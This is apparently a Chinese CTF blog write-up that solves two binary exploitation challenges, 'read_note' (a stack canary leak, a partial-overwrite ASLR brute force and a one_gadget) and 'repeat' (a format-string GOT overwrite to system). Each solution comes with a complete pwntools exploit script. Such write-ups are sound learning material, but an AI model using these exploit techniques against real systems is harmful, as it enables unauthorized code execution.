PWN January 03, 2020

师傅给的2道pwn题

Words count 19k Reading time 17 mins. Read count 0

题目一:

read_note:

一波分析:

image.png

这里开了栈溢出保护,堆栈不可执行,然后还有内存地址随机化,只有got还可以写,适应了就好~

动态链接,库是libc.so.6,可以得到,再去看看ida吧:

image.png

这里程序大概的流程也出来了,就是让你输入路径(字符串长度为5其实根本不可能),然后能打开该路径下的文件(就是个幌子,没用的),跳过,输入的字符长度大于5,就false,继续执行程序,要写note的大小note_length,还有note的内容,内容在thinking_note这里,会被输出来,然后如果内容的长度不为624,就会报错,重新输入,且输入的位置一样,我们可以去看看栈的分布情况:

image.png

这里我们发现了canary(var_8),由于read函数后面有puts函数,这里就可以leak出canary了从而实现栈溢出了,但是很遗憾的是只能溢出到ret,也就是exp:padding + canary + ebp + ret,这样基本不太可能getshell了,盲区了,有些慌,开始的想法是栈迁移,但是实操了发现还是不行,这里卡了挺久的,上网找资料一条语句能getshell的,找了半天,终于找到了!one_gadget,只要知道基地址,加上在libc库中的偏移,即可一条语句getshell,这里附上大佬写的博客:http://p4nda.top/2018/03/03/question/

思路整理:

1、通过puts函数泄露出canary

2、通过覆盖后4位去调用函数vul,绕过内存地址随机化

3、通过puts函数泄露出libc_main_start的真实地址

4、利用one_gadget直接getshell

我们一步一步来:

首先泄露出canary:

image.png

image.png

我通过覆盖canary的低位为\x01,成功把\x0a截断符去掉了,提取出来再加上\x00即可,第一步成功。

第二步:返回到我们的vul函数:\xA0\X0A(这里爆破法,如果不行就重开,直到行为止)

image.png

成功以后,我们就直接可以用\xA0\X0A了,下一步,继续,可以看到我们写的payload在栈中的分布了

image.png

ret的最后4位是0aa0,就是重新调用vul函数,再调用一次后,就可以打印出libc_start_main+240的真实地址了:

image.png

这里泄露时,栈大小是0x268,我们直接填满,接着puts就会打印出ret的地址了,

image.png

这样我们知道了真实地址,但是还不是最终的真实地址,要减去240才是,这里需要细心!

接着找我们的one_gadget~

image.png

这里有4个可以用,都要测试下,因为有些不一定能用,这里我们亲测后选择第三个。

最后就是我们完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#coding=utf8
from pwn import *
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
context(arch='amd64', os='linux')
#arch也可以是i386~看文件
local = 1
elf = ELF('./read_note')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
#标志位,0和1
while True:
if local:
p = process('./read_note')
libc = elf.libc
else:
p = remote('',)
libc = ELF('./')

p.recvuntil('Please input the note path:')
p.send('a'*6)
p.recvuntil(" please input the note len:")
p.send('624')
p.send('a'*600+'\x01\x01')
p.recvuntil('\x01\x01')
canary = '\x00' + p.recv()[:7]
print hex(u64(canary))
payload = 'a'*600
payload += canary
payload += 'aaaaaaaa'
payload += '\xA0\x0A'
p.send(payload)
try:
p.recv(timeout = 1)
except EOFError:
p.close()
continue
else:
sleep(0.1)
main_libc = libc.symbols["__libc_start_main"]
p.send('a'*6)
p.recvuntil(" please input the note len:")
p.send('624')
p.send('aaaaaaaa')
payload = 'a'*600
payload += canary
payload += 'aaaaaaaa'
payload += '\xA0\x0A'
p.send(payload)
p.recvuntil('Please input the note path:')
p.send('a'*6)
p.recvuntil(" please input the note len:")
p.send('624')
#debug(0xCA8)
p.send('a'*0x268)
main_addr = u64(p.recvuntil('\x65\x72')[-9:-3].ljust(8,'\x00'))
print hex(main_addr)
base = main_addr - 240 - main_libc
system = base + 0xf1147
payload = ''
payload += 'a'*600
payload += canary
payload += 'aaaaaaaa'
payload += p64(system)
p.send(payload)
p.interactive()

总结下:

学习了canary泄露再栈溢出的操作,明白了内存地址随机化的爆破,知道了one_gadget的用法。

题目二:

repeat

首先checksec一波,然后查看下ida分析逻辑:

image.png

image.png

这里我们知道,只有堆栈不可执行的保护,开始以为有栈溢出可以搞一波,但是看到了read函数只读了0x50个字节,那么可以知道是没有栈溢出的,buf是0x60,看到了printf(&buf),很明显是格式化字符串漏洞,这里有循环输入,然后跳出的条件是v1=102,看看v1,v2的分布

image.png

这里可以知道v1后面就是v2,而v2是指向v1的地址的指针,这里往栈中去填a再覆盖是不可能的,因为0x50刚好到10那里,不可以往下了,只能通过任意地址写,那么就是写v2地址的内容,写入102个字节,就可以成功修改v1的值为102,那么即可退出循环,在此之前我们修改puts函数的got为system的got,当调用时写入/bin/sh即可getshell~

大题思路如下:
1、任意地址读泄露lib_start_main的真实地址,得到lib_base

2、通过lib_base得到system的真实地址

3、改写puts的got为system的真实地址(单字节写入,写4次,有循环不怕,没有则只能一次写入)

4、任意地址写修改v2地址里面的v1的值为102

5、输入/bin/sh就可getshell了

这是exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#coding=utf8
from pwn import *
context.log_level='debug'
local = 1
elf = ELF('./repeat')
p = process('./repeat')
libc = elf.libc
p.recv()
p.sendline("%31$p")
main_addr = int(p.recvline(),16)-247
offset = main_addr -libc.symbols["__libc_start_main"]
system_libc = libc.symbols['system']
system_addr = offset + system_libc
puts_got = elf.got['puts']
print hex(system_addr)
#gdb.attach(p, 'b *0x080485AB')
payload_1 = p32(puts_got)
payload_1 += '%' + str((system_addr&0xff)-4) + 'c%6$hhn'
# gdb.attach(p,"b *0x80485AB")
# pause()
p.sendline(payload_1)
p.recv()
payload_2 = p32(puts_got+1)
payload_2 += '%' + str(((system_addr>>8)&0xff)-4) + 'c%6$hhn'
p.sendline(payload_2)
p.recv()
payload_3 = p32(puts_got+2)
payload_3 += '%' + str(((system_addr>>16)&0xff)-4) + 'c%6$hhn'
p.sendline(payload_3)
p.recv()
payload_4 = p32(puts_got+3)
payload_4 += '%' + str(((system_addr>>24)&0xff)-4) + 'c%6$hhn'
p.sendline(payload_4)
p.recv()
payload_5 = '%102c' +'%27$n'
#gdb.attach(p,'b *0x080485AB')
p.sendline(payload_5)
#p.sendline(payload)
p.recv()
p.send('/bin/sh\x00')
p.interactive()

这里每右移4吞掉1位数,这样可以用0xff得到最低位的两个数。

检验下:

image.png

单字节地写入是最好的方式,不会报错,也不用检验输入完成。

这里是循环输入,所以可以用这种打法,如果只有一次printf的话,只能一次性全部写入~

0%